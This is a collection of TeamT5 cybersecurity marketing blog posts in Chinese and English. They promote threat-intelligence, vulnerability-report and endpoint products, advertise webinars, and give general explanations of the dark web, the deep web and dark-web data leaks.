- **惡意軟體資料庫**：獲取惡意軟體技術詳情，以選擇和部署有效的防禦工具。
- **威脅情報報告**：確認您在當前威脅中的情況，能夠採取最有效且新穎的防禦措施。

 

###主動防禦措施 
使用 ThreatVision IoCs，企業可以：
- **正確部署 IoCs**：藉由使用 API，確保完整和一致的部署。
- **立即回應警報**：封鎖、隔離和移除惡意軟體，以將損害降至最低。
- **徹底調查**：識別攻擊的來源和目的，更充分地了解威脅者的戰術和工具。

 

## ThreatVision IoCs 的好處
- **提高警報準確性**：基於精確的 IoCs 做出更明智的決策。
- **主動威脅管理**：深入了解威脅，主動採取預防措施。
- **易於實現自動化**：透過 API 整合，簡化部署和管理。
- **快速部署**：利用 CSV 和 STIX 等通用文件格式快速完成部署。

 

##總結
在對抗網路威脅的過程中，了解自身的能力和威脅者的戰術至關重要。TeamT5 的 ThreatVision 平台，擁有廣泛的威脅者資料庫、惡意軟體和全面的威脅情資報告，使企業能夠有效地駕馭威脅情勢。透過利用 ThreatVision 的強大功能，企業可以增強其資訊安全策略，並保護資產免受不斷演變的威脅影響。

 
>立刻試用 ThreatVision 入侵指標，禦敵致勝
>
>[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

 ThreatVision 入侵指標（ IoCs）  幫助您禦敵致勝

This webinar is co-hosted by TeamT5 and EclecticIQ. As Elliott (fromTeamT5) and Ben (from EclecticIQ) discuss how to integrate ThreatVision’s expert APAC intelligence into the EclecticIQ platform and automate it at scale. 

Featuring an introduction to ThreatVision, EclecticIQ and even a demo featuring real intelligence, this webinar is a must watch for SOC teams and cyber threat intelligence researchers and analysts.

 

**Fill out the form and you can have the recording link.**

**Form:** https://forms.gle/kuXTc2g6Tni8akJA6

 
 
key words: threat intelligence, threat intelligence platform, TIP

Image source: Pexel

[Webinar Recording] Automating Asia-Pacific Cyber Threat Intelligence at Scale

While enterprises are facing increasingly complex and serious security challenges, "zero trust" is an important strategy for organizations to pursue to strengthen cybersecurity and mitigate overall enterprise risks.

According to Gartner’s survey, 63% of organizations worldwide have implemented a zero-trust strategy. However, for most organizations, a zero-trust strategy addresses half or less of their environment. ([Source](https://www.gartner.com/en/newsroom/press-releases/2024-04-22-gartner-survey-reveals-63-percent-of-organizations-worldwide-have-implemented-a-zero-trust-strategy))

Following the zero-trust principle of “Assume Breach, Always Verify”, organizations should always operate under the assumption that a breach could have already happened. In this context, proactive threat hunting becomes essential for organizations to ensure the safety of data and assets.


**This whitepaper will give you overall understanding of threat hunting**. It contains:
- What Is Threat Hunting?
- Why Do We Need Threat Hunting?
- How Can We Implement Threat Hunting?
- How Can TeamT5 Help?


 

**Fill up the form and receive our whitepaer now!**

[Whitepaper] How do we implement effective endpoint threat hunting to enhance zero-trust strategy?

ThreatSonar Resources

暗網是無法透過傳統搜索引擎和瀏覽器訪問的秘密網路，非法活動者經常在此進行非法交易，如惡意軟體買賣和出售被盜取的企業資料。


歷來已有多個企業深受其害，重要資料外洩到暗網，造成商譽損害。例如：
- 2024年3月，美國龍頭電信商 AT&T 宣布其遭遇客戶資料外洩的事件。約7,600萬個客戶的資料外洩置暗網，資料包含姓名、電子郵件、郵寄地址、生日、AT&T帳號和密碼等。 ([新聞報導](https://www.npr.org/2024/03/30/1241863710/att-data-breach-dark-web))

- 2024年6月，美國科技公司 Dell 宣布客戶訂單資料外洩。而據第三方報告，資料可能為戴爾客戶4900萬筆的訂單資料，並被放置於暗網兜售。 ([新聞報導](https://www.theregister.com/2024/05/09/dell_data_stolen/))

 

企業外洩情資到暗網可能會導致以下嚴重後果：
- **客戶個資外洩**： 影響客戶的隱私和權益，可能導致身份盜竊、詐騙等犯罪行為。
- **企業信譽受損**： 導致客戶流失、股價下跌等負面影響。
- **監管機構罰款**： 企業可能因違反資料保護法規，而面臨巨額罰款。

 

因此，企業應採取有效措施保護資料安全，降低資料外洩的風險。以下是一些建議：
- 制定並實施嚴格的資料安全政策和流程。
- 定期對員工進行資料安全教育和訓練。
- 定期進行資料安全風險評估和漏洞掃描。
- 建立健全的資料洩漏應變機制。

 

此外，企業還應密切關注暗網上的資料外洩情況，及時採取措施應對。

 

> - 了解掌握暗網情資的最佳做法
> 
> TeamT5 的 ThreatVision 深暗網風險監控 產品介紹: [連結](https://teamt5.org/tw/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
> 
> [【研討會影片】帳密悄悄洩，杜浦解危新戰略](https://teamt5.org/tw/posts/webinar-deep-dark-web/?utm_source=blog&utm_medium=website)


 
首圖來源: Pexel

暗網影響企業的真實案例  及 企業應如何預防?

The dark web is a secret network inaccessible through traditional search engines and browsers, where illegal actors often conduct illegal transactions, such as malware trading and selling stolen corporate information.

Many companies have been severely affected in the past, with important information leaked to the dark web, causing damage to their goodwill. For example:
- In March 2024, AT&T, the leading telecommunications provider in the United States, announced that it had suffered a customer data leak. About 76 million customer data were leaked and placed on the dark web. The data included names, emails, mailing addresses, birthdays, AT&T account numbers and passwords, etc. ([News](https://www.npr.org/2024/03/30/1241863710/att-data-breach-dark-web))
- In June 2024, the American technology company Dell announced that customer order data was leaked. According to third-party reports, the data may be 49 million order data from Dell customers and was placed on the dark web for sale. ([News](https://www.theregister.com/2024/05/09/dell_data_stolen/))

 

Leaking corporate information to the dark web may lead to the following serious consequences:
- **Leakage of customer personal information**: Affects customers' privacy and rights, which may lead to identity theft, fraud and other crimes.
- **Damage to corporate reputation**: leading to negative impacts such as customer loss and stock price decline.
- **Regulatory agency fines**: Businesses can face hefty fines for breaching data protection regulations.

 


Therefore, enterprises should take effective measures to protect data security and reduce the risk of data leakage. Here are some suggestions:
- Develop and implement strict data security policies and procedures.
- Provide data security education and training to employees on a regular basis.
- Conduct regular data security risk assessments and vulnerability scans.
- Establish a sound data leakage response mechanism.
 

In addition, companies should also pay close attention to data leaks on the dark web and take timely measures to respond.

 

>**Know more about dark web intelligence **
>- TeamT5's Deep and Dark Web Risk Monitoring through ThreatVision:
[Introduction](https://teamt5.org/en/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
> - [Shining a Light on the Dark Web: Protecting Your Data and Reputation](https://teamt5.org/en/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)
> - [【Webinar Recording】Unveiling the Dark Web: Protecting Your Business from Hidden Threats](https://teamt5.org/en/posts/webinar-recording-unveiling-the-dark-web-protecting-your-business-from-hidden-threats/?utm_source=blog&utm_medium=website)


 

Image source: Pexel

Real Cases of How the Dark Web Has Affected Enterprises and How They Could Have Prevented It

Are you aware that “threat hunting” can help enterprises identify unknown threats hidden within vast amounts of data? Despite its benefits, many organizations hesitate to adopt threat hunting due to constraints like limited time, resources, and lack of convergence.

Watch TeamT5’s webinar recording which is designed to empower frontline cybersecurity professionals to overcome these challenges and outsmart cyber threats. Our expert speaker, John Lu, a cybersecurity veteran with over 15 years of experience, will share invaluable insights and tools to enhance your threat hunting capabilities.

 

**Fill out the form and you can have the recording link.**

**Form:** https://forms.gle/47JvWb9BWjpuVZ3t6

 
 
key words: cyber threat hunting, threat hunting

Image source: Pexel

[Webinar Recording] Enhancing Zero-Trust Strategy via Endpoint Threat Hunting

In recent years, with the rapid increase in software adoption, the challenge of managing vulnerabilities has reached unprecedented levels. The evolution of digitalization has ushered in a new era of productivity and efficiency, but alongside it, a surge in potential security risks.

##The Landscape of Vulnerability Management
The digital transformation of enterprises has significantly expanded the attack surface, making comprehensive vulnerability management a daunting task. The integration of third-party open-source tools into development processes has further complicated this landscape, as each tool brings its own set of vulnerabilities that can potentially be exploited by malicious actors.

##Challenges in Prioritization
One of the greatest hurdles faced by cybersecurity professionals today is effectively prioritizing vulnerabilities. The sheer volume of information and the constant influx of potential threats often create a cacophony of alerts, making it difficult to distinguish critical issues from background noise. This complexity demands sophisticated solutions that not only identify vulnerabilities but also prioritize them based on their severity and potential impact.

##Introducing ThreatVision Vulnerability Solutions: A Proactive Approach to Vulnerability Management

![pic2_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png](https://uploads.teamt5.org/upload/original/pic2_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png)

###Patch Management Report (PMR)
At TeamT5, we understand the urgency of addressing high-risk vulnerabilities promptly. Our Patch Management Report provides weekly updates summarizing approximately 100 critical vulnerabilities. These reports are meticulously curated by analysts, who evaluate each vulnerability's proof of concept, risk assessment, and real-world implications. Subscribers can thus streamline their patch management efforts, focusing on vulnerabilities most susceptible to exploitation.

![pic1_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png](https://uploads.teamt5.org/upload/original/pic1_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png)

###Vulnerability Insights Report (VIR)
Complementing the PMR, our Vulnerability Insights Report zooms in on a single critical vulnerability from the PMR, offering in-depth analysis, exploit scenarios, and global incident highlights. This report not only arms stakeholders with remediation strategies but also equips them with proactive mitigation techniques for vulnerabilities that cannot be immediately patched.

###Threat Hunting Tools
Our arsenal includes cutting-edge threat hunting tools developed by analysts. These tools, incorporating YARA Rules, SNORT Rules, SIGMA Rules, and various scripts, enable proactive detection of vulnerability exploitation behaviors within client networks. By swiftly identifying vulnerabilities being actively exploited, organizations can promptly mitigate risks and fortify their defenses.

###Benefits of ThreatVision’s Vulnerability Solutions

- **Timely Action**: By leveraging ThreatVision's reports and tools, organizations can swiftly confirm and mitigate vulnerabilities before they can be exploited.
  
- **Comprehensive Coverage**: From comprehensive patch management insights to detailed vulnerability analyses, ThreatVision offers a holistic approach to safeguarding digital assets.
  
- **Proactive Defense**: Armed with actionable intelligence from ThreatVision, cybersecurity teams can proactively defend against emerging threats and minimize potential damage.

##Summary
Staying ahead of vulnerabilities is not just a strategy but a necessity. With ThreatVision, TeamT5 empowers enterprises to navigate the complexities of vulnerability management effectively. By prioritizing critical vulnerabilities and providing actionable insights, ThreatVision ensures that organizations can safeguard their digital infrastructure against evolving threats.

At TeamT5, we remain committed to advancing cybersecurity practices, helping enterprises mitigate risks, and empowering them to thrive in an increasingly digital world. Stay secure with ThreatVision and stay ahead of vulnerabilities.

Learn more about [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) and enhance your cybersecurity strategy with TeamT5 today. 

[Contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) to schedule a consultation or subscribe to our reports for proactive vulnerability management.



Staying Ahead of Critical Vulnerabilities with ThreatVision

近年來，隨著企業大規模採用軟體技術，漏洞管理的挑戰達到了前所未有的程度。數位化的演進帶來了劃時代的生產力和效率，卻也同時帶來了潛在的安全風險。

##漏洞管理的現況
企業的數位轉型顯著地擴展了威脅攻擊面，使全面性的漏洞管理變得艱鉅。將第三方開源工具整合到開發過程中進一步複雜化了這個現狀，因為每個新工具都可能帶有被惡意攻擊者利用的新漏洞。

##漏洞優先排序的挑戰
當前資訊安全人員面臨的最大障礙之一，便是有效地對漏洞進行優先排序。龐大的資訊量和不斷湧入的潛在威脅，往往會產生大量告警，使得區分關鍵問題和無關雜訊變得困難。這種複雜的問題背景下，需要既能識別漏洞、又能根據其嚴重性和影響力，進行優先排序的解決方案。

##ThreatVision 漏洞解決方案：化解被動漏洞管理的困境

![pic2_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png](https://uploads.teamt5.org/upload/original/pic2_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png)

###漏洞修補管理周報（Patch Management Report） 
在 TeamT5，我們了解及時解決高風險漏洞的緊迫性。我們的漏洞修補管理周報（Patch Management Report，PMR） 提供每週更新，總結約 100 個關鍵漏洞。這些報告由 TeamT5 的專業分析師團隊精心策劃，評估每個漏洞的是否已在野外觀測到遭利用的驗證情境（POC）、風險評估和在真實環境中的影響。訂閱者可以藉此精簡其漏洞管理工作，專注於最易受攻擊的漏洞。

![pic1_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png](https://uploads.teamt5.org/upload/original/pic1_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png)

###威脅情資暨應對緩解雙週報（Vulnerability Insights Report） 
為了補充 PMR，我們的威脅情資暨應對緩解雙週報（Vulnerability Insights Report，VIR） 聚焦於 PMR 中的一個關鍵漏洞，提供該漏洞的深入分析、利用場景和全球受害事件摘要。這份報告不僅為利益相關者提供修補策略，還為無法立即修補的漏洞提供主動緩解建議和偵測工具（即威脅狩獵工具）。

###威脅狩獵工具
我們的工具庫包括由分析師開發的尖端威脅狩獵工具。這些工具包括 YARA 規則、SNORT 規則、SIGMA 規則和各種腳本，能夠在客戶網路內主動檢測漏洞利用行為，迅速識別正在被積極利用的漏洞，讓企業能夠及時減輕風險並強化防禦。

##ThreatVision 漏洞解決方案的優勢
- **及時行動**：利用 ThreatVision 的報告和工具，企業可以迅速確認並防禦漏洞，防止其被利用。
- **全面覆蓋**：從全面的漏洞修補管理報告到詳細深入的漏洞分析，ThreatVision 提供全方位的漏洞情資來保護您的數位資產。
- **主動防禦**：憑藉來自 ThreatVision 的威脅情資，網路安全團隊可以主動防禦新興威脅，將潛在損害降至最低。


##總結
超前部署、應對漏洞不僅是一種策略，更是一項必要的任務。透過 ThreatVision，TeamT5 使企業能夠有效應對漏洞管理的複雜性。透過優先處理關鍵漏洞並提供研究報告，ThreatVision 確保企業能夠保護其數位基礎設施，免受威脅。

在 TeamT5，我們致力於網路安全實踐，幫助企業減輕風險，使其在日益數位化的世界中蓬勃發展。使用 [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) 保持安全，領先應對漏洞。現在就來了解更多有關 ThreatVision 的資訊，並透過 TeamT5 強化您的網路安全策略。

請即刻[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，進一步安排諮詢或訂閱我們最新漏洞情資，強化企業關鍵漏洞防護。





透過 ThreatVision 超前應對關鍵漏洞

隨著數位時代的發展，企業愈來越依賴網路進行業務運營。然而，暗網的存在對企業資安構成了嚴峻挑戰。本文將探討暗網對企業資安的影響，及企業應如何應對這些威脅。

## 暗網如何影響企業資安

1. **數據外洩**：暗網上常常出現被盜取的企業資料，包括客戶資訊、員工個人資料、財務數據等。駭客可以將這些敏感資訊在暗網上出售或公開，導致企業面臨重大財務損失及品牌損害。

2. **商業機密外洩**：企業的研發資料、專利技術和商業計劃等機密資訊一旦被洩露，可能在暗網上被交易，這不僅損害企業的競爭優勢，還可能導致法律糾紛。

3. **網路攻擊工具交易**：暗網上有大量的惡意軟體、駭客工具和服務出售。這些工具使得網路犯罪變得更加容易，企業可能面臨更頻繁且更複雜的網路攻擊，如勒索軟體攻擊、釣魚攻擊等。

4. **聘僱駭客**：暗網提供了匿名聯繫和交易的環境，某些競爭對手或不法分子可能會在暗網上聘僱駭客，向敵對企業進行具針對性的攻擊，這使得企業的資安風險大幅增加。

5. **供應鏈風險**：企業的供應鏈合作夥伴若受到暗網攻擊，可能間接影響企業自身的安全。供應鏈中，賞商的任何一個環節出現問題，都可能導致整個系統的安全漏洞。


## 應對暗網威脅的策略

1. **加強資安防護**：企業應採取先進的資安防護措施，如端點檢測與回應（EDR）解決方案、多因素認證（MFA）、入侵檢測與防禦系統（IDS/IPS）等，以提高整體的網路安全防護能力。

2. **監控暗網活動**：企業可以利用專門提供暗網情資的威脅情資平台（Threat Intelligence Platform）來監控暗網上的相關活動，及時發現可能涉及企業的敏感資訊和潛在威脅，提前採取應對措施。

3. **員工教育與培訓**：提高員工的資安意識，定期進行網路安全培訓，使員工能夠識別釣魚郵件、惡意鏈接等潛在威脅，並養成良好的電腦安全操作習慣。

4. **定期安全評估**：企業應定期進行安全評估和滲透測試，找出系統中的潛在漏洞，及時進行修補，防止駭客利用這些漏洞進行攻擊。

5. **制定資安事件應變計劃**：建立完善的資安事件應變計劃，一旦發生安全事件，能夠迅速啟動應變機制，減少損失並快速恢復業務營運。也可尋找外部資安事件應變團隊，預先購買應變服務方案。

6. **合作與分享情資**：與其他企業和資安機構合作，分享資安情資和最佳實踐，共同應對來自暗網的威脅。

## 結語

暗網的匿名性和隱秘性使其成為網路犯罪的溫床，對企業資安構成重大挑戰。企業需要認識到暗網帶來的風險，並採取積極的防護措施和應對策略，才能在不斷變化的網路威脅環境中立於不敗之地；更通過持續提升資安防護能力，加強對暗網的監控和情資分析，企業才能有效防範和減少暗網對其資安的負面影響。

> - 了解掌握暗網情資的最佳做法
> 
> TeamT5 的 ThreatVision 深暗網風險監控 產品介紹: [連結](https://teamt5.org/tw/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
>
> [照亮暗網：保護您的資料和聲譽](https://teamt5.org/tw/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)
> 
> [【研討會影片】帳密悄悄洩，杜浦解危新戰略](https://teamt5.org/tw/posts/webinar-deep-dark-web/?utm_source=blog&utm_medium=website)

 

首圖來源: Pexel

暗網對企業資安的影響是什麼?

With the development of the digital age, enterprises are increasingly relying on the Internet for business operations. However, the existence of the dark web poses serious challenges to enterprise cybersecurity. This article will explore the impact of the dark web on enterprise cybersecurity and how enterprises should respond to these threats.

## How the Dark Web Affects Enterprise Cybersecurity

1. **Data leakage**: Stolen corporate information often appears on the dark web, including customer information, employee personal information, financial data, etc. Hackers can sell or make this sensitive information public on the dark web, causing companies to face significant financial losses and brand damage.

2. **Leakage of business secrets**: Once a company’s confidential information such as R&D materials, patented technologies, and business plans are leaked, it may be traded on the dark web, which not only damages the company’s competitive advantage, but may also lead to legal disputes.

3. **Internet attack tool trading**: There are a large number of malware, hacking tools and services for sale on the dark web. These tools make cybercrime easier, and companies may face more frequent and complex cyberattacks, such as ransomware attacks, phishing attacks, etc.

4. **Hire hackers**: The dark web provides an environment for anonymous contact and transactions. Some competitors or criminals may hire hackers on the dark web to carry out targeted attacks on hostile companies. This makes companies' cybersecurity risks have increased significantly.

5. **Supply chain risk**: If an enterprise's supply chain partners are attacked by dark web, it may indirectly affect the enterprise's own security. In the supply chain, problems in any part of the supply chain may lead to security vulnerabilities in the entire system.

## Strategies for Dealing with Dark Web Threats

1. **Strengthen cybersecurity protection**: Enterprises should adopt advanced cybersecurity protection measures, such as [endpoint detection and response (EDR)](https://teamt5.org/en/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website) solutions, multi-factor authentication (MFA), intrusion detection and prevention systems (IDS/IPS), etc. , to improve the overall network security protection capabilities.

2. **Monitoring dark web activities**: Enterprises can use the [Threat Intelligence Platform](https://teamt5.org/en/products/threatvision/), which specializes in providing dark web information, to monitor related activities on the dark web and promptly discover sensitive information and potential threats that may involve the enterprise. Take countermeasures in advance.

3. **Employee education and training**: Improve employees’ awareness of cybersecurity and conduct regular network security training so that employees can identify potential threats such as phishing emails and malicious links and develop good computer security operating habits.

4. **Regular security assessment**: Enterprises should conduct regular security assessments and penetration tests to identify potential vulnerabilities in the system and repair them in a timely manner to prevent hackers from using these vulnerabilities to attack.

5. **Develop a contingency plan for cybersecurity incidents**: Establish a complete contingency plan for cybersecurity incidents. Once a security incident occurs, the response mechanism can be quickly activated to reduce losses and quickly resume business operations. You can also look for an [external cybersecurity incident response team](https://teamt5.org/en/service/ir/?utm_source=blog&utm_medium=website) and purchase a response service plan in advance.

6. **Cooperation and sharing intelligence**: Cooperate with other companies and security agencies to share security intelligence and best practices to jointly respond to threats from the dark web.

## Conclusion

The anonymity and secrecy of the dark web make it a hotbed for cybercrime, posing a major challenge to corporate cybersecurity. Enterprises need to be aware of the risks brought by the dark web and adopt proactive protective measures and response strategies in order to remain invincible in the ever-changing network threat environment; they must also continue to improve their cybersecurity protection capabilities and strengthen their awareness of the dark web. With advanced monitoring and intelligence analysis, enterprises can effectively prevent and reduce the negative impact of darknet on their cybersecurity.


>**Know more about dark web intelligence **
> - TeamT5's Deep and Dark Web Risk Monitoring through ThreatVision:
[Introduction](https://teamt5.org/en/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
> - [Shining a Light on the Dark Web: Protecting Your Data and Reputation](https://teamt5.org/en/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)
> - [【Webinar Recording】Unveiling the Dark Web: Protecting Your Business from Hidden Threats](https://teamt5.org/en/posts/webinar-recording-unveiling-the-dark-web-protecting-your-business-from-hidden-threats/?utm_source=blog&utm_medium=website)


 
Image source: Pexel

The Impact of Dark Web on Enterprise Cybersecurity

## 首先定義暗網是...

暗網是網際網路的一部分，與我們熟知的明網（Surface Web）不同，暗網並不直接通過傳統的搜尋引擎如Google、Bing等進行索引。要訪問暗網，使用者需透過特定的軟體或設定來隱藏其身份和位置，最常用的工具即是洋蔥路由器（Tor，The Onion Router）。Tor瀏覽器允許用戶在保持匿名的狀態下訪問暗網站點。

## 暗網與深網的區別

常與暗網提及的另個概念為「深網（Deep Web）」，此指的是那些未被搜尋引擎索引的網頁，這些內容包括電子郵件、網路銀行、私人資料庫等。

相比之下，暗網則是深網的一個子集，其中特定的網站故意隱藏，並且只能通過特殊的工具或設定訪問。

深網由未編入索引的網站組成，這些網站被用戶名和密碼鎖定，包含法律文件和財務記錄等敏感資料。雖然深網的內容與資料大多是無害的，但它包含了企業需要主動保護的重要資料，更是需要優先防範的環境。 

然而，真正的危險在於暗網。只能透過特別的瀏覽器，如 Tor 等管道，這些瀏覽器提供高度匿名性，使暗網成為犯罪活動的熱點。這種匿名性吸引了網路犯罪分子進行資料外洩、詐騙、洗錢和出售被盜資料等活動。

 
 
> - 了解掌握暗網情資的最佳做法
> TeamT5 的 ThreatVision 深暗網風險監控 產品介紹: [連結](https://teamt5.org/tw/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
> 
> [照亮暗網：保護您的資料和聲譽](https://teamt5.org/tw/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)
> 
> [【研討會影片】帳密悄悄洩，杜浦解危新戰略](https://teamt5.org/tw/posts/webinar-deep-dark-web/?utm_source=blog&utm_medium=website)

 
首圖來源: Pexel

暗網和深網的差別?

## First, let’s define the dark web...

The dark web is a part of the Internet. Unlike the Surface Web we are familiar with, the dark web is not indexed directly through traditional search engines such as Google and Bing. To access the dark web, users need to hide their identity and location through specific software or settings. The most commonly used tool is Tor (The Onion Router). Tor Browser allows users to access dark web sites while remaining anonymous.

## The difference between dark web and deep web

Another concept often mentioned with the dark web is the "Deep Web", which refers to web pages that are not indexed by search engines. These contents include emails, online banking, private databases, etc.

In contrast, the dark web is a subset of the deep web in which specific websites are deliberately hidden and can only be accessed through special tools or settings.

The deep web consists of unindexed websites that are locked away with usernames and passwords and contain sensitive material such as legal documents and financial records. Although most of the content and data on the deep web are harmless, it contains important data that companies need to proactively protect, and it is an environment that needs to be prioritized for prevention.

However, the real danger lies on the dark web. Only through special browsers, such as Tor, these browsers provide a high degree of anonymity, making the dark web a hotspot for criminal activity. This anonymity attracts cyber criminals to conduct data exfiltration, fraud, money laundering and selling stolen data.


>**Know more about dark web intelligence **
>- TeamT5's Deep and Dark Web Risk Monitoring through ThreatVision:
[Introduction](https://teamt5.org/en/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
> - [Shining a Light on the Dark Web: Protecting Your Data and Reputation](https://teamt5.org/en/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)
> - [【Webinar Recording】Unveiling the Dark Web: Protecting Your Business from Hidden Threats](https://teamt5.org/en/posts/webinar-recording-unveiling-the-dark-web-protecting-your-business-from-hidden-threats/?utm_source=blog&utm_medium=website)

 

Image source: Pexel

What is the Difference Between the Dark Web and the Deep Web?

# 什麼是暗網？

暗網是隱藏於傳統搜索引擎和瀏覽器之外的網路，非法活動者常於此進行非法交易，例如：惡意軟體交易、出售企業被盜資料。
本文將深入探討什麼是暗網，及其運作原理。

## 暗網的定義
暗網是網際網路的一部分，與我們熟知的明網（Surface Web）不同，暗網並不直接通過傳統的搜尋引擎如 Google、Bing 等進行索引。
要訪問暗網，使用者需透過特定的軟體或設定來隱藏其身份和位置，最常用的工具即是洋蔥路由器（The Onion Router, Tor）── Tor瀏覽器允許用戶在保持匿名的狀態下，訪問暗網站點。

## 暗網的運作原理
暗網運作的核心是匿名性和隱私保護。當用戶使用 Tor 瀏覽器訪問暗網站點時，他們的網路流量會經過多層加密並透過全球多個中繼節點進行轉發，使得追蹤用戶的真實IP地址變得極為困難。這種多層加密和中繼節點的架構猶如洋蔥層層包裹，因此得名「洋蔥路由器」。

## 暗網的用途

暗網的用途廣泛且多樣化，從合法用途到非法活動均有涵蓋。

#### 合法用途

1. **隱私保護與言論自由**：暗網為那些生活在言論受限或監控嚴密國家的人民提供了一個自由發聲的平台。在這裡，記者、異議人士和活動家可以匿名交流和分享資訊，避免受到迫害或監控。

2. **資訊安全研究**：安全研究人員利用暗網進行資訊安全研究，探索網路攻擊、惡意軟體及其他網路威脅，以便及早發現並防範。

#### 非法用途

1. **非法交易**：暗網上的匿名性使其成為非法交易的溫床，包括毒品、武器、假證件和盜版軟體等。

2. **網路犯罪**：駭客在暗網上進行數據洩露、、惡意程式交際、勒索軟體交易及其他網路犯罪活動。

## 暗網的風險

雖然暗網為隱私保護和言論自由提供了新的途徑，但其匿名性也帶來了諸多風險。用戶需警惕可能的詐騙、惡意軟體及其他潛在威脅。此外，訪問暗網可能會引起法律問題，因為部分國家對於暗網的使用和相關活動，有嚴格的法律規範。


## 結語

暗網是一個複雜且多面向的世界，既有其積極用途，也伴隨著重重風險。了解暗網的基本概念和運作方式，有助於我們在數位時代更好地保護自身隱私，並對網路安全保持警惕。

而對於企業，更應掌握自身商業機密、重要資料是否外洩至暗網，以免遭遇資安攻擊的風險。


>**了解掌握暗網情資的最佳做法**
>- TeamT5 的 ThreatVision 深暗網風險監控 產品介紹: [連結](https://teamt5.org/tw/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
>- [照亮暗網：保護您的資料和聲譽](https://teamt5.org/tw/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)
>
>- [【研討會影片】帳密悄悄洩，杜浦解危新戰略](https://teamt5.org/tw/posts/webinar-deep-dark-web/?utm_source=blog&utm_medium=website)


 

首圖來源: Pexel

什麼是暗網？

The dark web is a network hidden outside traditional search engines and browsers, where illegal activities often conduct illegal transactions, such as malware trading and selling stolen corporate data.

This article will take an in-depth look at what the dark web is and how it works.

## Definition of Dark Web

The Dark Web is a part of the Internet. Unlike the Surface Web we are familiar with, the Dark Web is not indexed directly through traditional search engines such as Google and Bing.

To access the dark web, users need to use specific software or settings to hide their identity and location. The most commonly used tool is The Onion Router (Tor) - the Tor browser allows users to remain anonymous. Next, visit the dark web site.


## How the dark web works

At the core of how the dark web operates is anonymity and privacy protection. When users use the Tor browser to access dark web sites, their network traffic is encrypted through multiple layers and forwarded through multiple relay nodes around the world, making it extremely difficult to track the user's real IP address. This multi-layer encryption and relay node architecture is like an onion wrapped in layers, hence the name "onion router".

## Purpose of Dark Web

The uses of the dark web are broad and diverse, ranging from legal uses to illegal activities.

#### Legal use

1. **Privacy Protection and Free Speech**: The dark web provides a platform for people who live in countries with restricted speech or strict surveillance to speak freely. Here, journalists, dissidents and activists can communicate and share information anonymously, without being persecuted or monitored.

2. **Cybersecurity Research**: Security researchers use the dark web to conduct cybersecurity research and explore network attacks, malware and other network threats for early detection and prevention.

#### Illegal use

1. **Illegal transactions**: The anonymity of the dark web makes it a hotbed for illegal transactions, including drugs, weapons, fake documents, and pirated software.

2. **Cybercrime**: Hackers conduct data leaks, malicious program communication, ransomware trading and other cybercriminal activities on the dark web.

## Risks of the Dark Web

While the Dark Web offers new avenues for privacy protection and free speech, its anonymity also brings many risks. Users should be alert to possible scams, malware and other potential threats. In addition, accessing the dark web may cause legal issues, as some countries have strict legal regulations regarding the use and related activities of the dark web.

## Conclusion

The dark web is a complex and multi-faceted world that has both positive uses and risks. Understanding the basic concepts and operations of the dark web can help us better protect our privacy in the digital age and remain vigilant about network security.

For enterprises, they should know whether their business secrets and important information are leaked to the dark web to avoid the risk of cybersecurity attacks.


>**Know more about dark web intelligence**
>- TeamT5's Deep and Dark Web Risk Monitoring through ThreatVision:
[Introduction](https://teamt5.org/en/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
>
>- [Shining a Light on the Dark Web: Protecting Your Data and Reputation](https://teamt5.org/en/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)
>
>- [【Webinar Recording】Unveiling the Dark Web: Protecting Your Business from Hidden Threats](https://teamt5.org/en/posts/webinar-recording-unveiling-the-dark-web-protecting-your-business-from-hidden-threats/?utm_source=blog&utm_medium=website)

 
Image source: Pexel

What is the Dark Web?

In the ever-changing cybersecurity environment, proactive defense and deployment of appropriate cybersecurity solutions are crucial. In this trend, TeamT5’s award-winning solution “[ThreatSonar Anti-Ransomware](https://teamt5.org/en/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)” endpoint detection & response platform helps enterprises to fight against advanced persistent threats (APTs) and ransomware..

“ThreatSonar Anti-Ransomware” has been adopted by many managed security service providers (MSSPs) in Taiwan and other countries in the Asia-Pacific Region. It enables MSSPs to identify and stop the most advanced known and potential threats – including ransomware - at all times and provide high-quality managed detection and response (MDR) service to their customers.
 
This article will introduce the powerful functions and application scenarios of ThreatSonar Anti-Ransomware, and how it can bring new business opportunities to MSSPs. We look forward to vendors contacting us and creating business opportunities together.

##Market Trends

